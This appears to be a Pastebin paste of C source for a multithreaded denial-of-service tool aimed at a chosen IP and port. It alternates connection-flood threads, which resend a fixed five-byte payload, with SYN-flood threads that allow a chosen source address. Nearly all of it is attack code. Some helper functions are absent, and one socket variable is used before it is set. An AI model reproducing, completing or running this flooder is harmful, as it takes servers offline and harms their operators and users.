Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void *tcp_con_crash(void *d) {
- const char payload[] = {0x02, 0x00, 0x02, 0x26, 0x26};
- int csent = 0, len = 5;
- struct mclog *curdat = (struct mclog *)d;
- pthread_mutex_lock(&curdat->_b_mutex);
- while(curdat->tcm != NT_T) pthread_cond_wait(&curdat->_b_cond, &curdat->_b_mutex);
- pthread_mutex_unlock(&curdat->_b_mutex);
- printf("Thread %#x beginning (%d)(%s)\n",(unsigned)pthread_self(),curdat->tcm,__func__);
- int stc;
- while(1) {
- if (secure_send(stc, (char *)payload, &len) < 0) {
- stc = connecttoserver(curdat->d_ip, curdat->d_port);
- }
- else {
- printf("%s: sent %d packets\n",__func__,csent++);
- //stc = connecttoserver(curdat->d_ip, curdat->d_port);
- }
- }
- }
- void *tcp_syn_crash(void *d) {
- register int count = 0, seq = 0;
- struct mclog *curdat = (struct mclog *)d;
- pthread_mutex_lock(&curdat->_b_mutex);
- while(curdat->tcm != NT_T) pthread_cond_wait(&curdat->_b_cond, &curdat->_b_mutex);
- pthread_mutex_unlock(&curdat->_b_mutex);
- printf("Thread %#x beginning (%d)(%s)\n",(unsigned)pthread_self(),curdat->tcm,__func__);
- while (1) {
- seq = (int)(arc4random() % MAX_SEQ);
- printf("%s: sent #%d packets (%s:%d) -> (%s:%d)\n",
- __func__,count++,curdat->s_ip,atoi(curdat->s_port),curdat->d_ip,atoi(curdat->d_port));
- send_syn(htonl(seq), 1, curdat->s_ip, curdat->d_ip, atoi(curdat->s_port), atoi(curdat->d_port));
- }
- }
- void spawn_crash(struct mclog tdat) {
- char *error_ret = (char *)malloc(20);
- int r;
- printf("(%s:%s) -> (%s:%s)\n",tdat.s_ip,tdat.s_port,tdat.d_ip,tdat.d_port);
- pthread_mutex_init(&tdat._b_mutex, NULL);
- pthread_cond_init(&tdat._b_cond, NULL);
- pthread_mutex_lock(&tdat._b_mutex);
- for (tdat.tcm=0; tdat.tcm < NT_T; tdat.tcm++) {
- pthread_create(&tdat.c_threads[tdat.tcm], NULL, (tdat.tcm %2==0 ? tcp_con_crash : tcp_syn_crash), (void *)&tdat);
- printf("Creating thread %#x | %d (%s)\n", (unsigned)tdat.c_threads[tdat.tcm],tdat.tcm,(tdat.tcm % 2 == 0 ? "con" : "syn"));
- }
- pthread_cond_broadcast(&tdat._b_cond);
- pthread_mutex_unlock(&tdat._b_mutex);
- for (r=0; r < NT_T; r++) {
- sprintf(error_ret,"thread %d down",r);
- pthread_join(tdat.c_threads[r], NULL);
- display_warning(error_ret);
- }
- die_with_signal("all threads crashed");
- }
Advertisement
Add Comment
Please, Sign In to add comment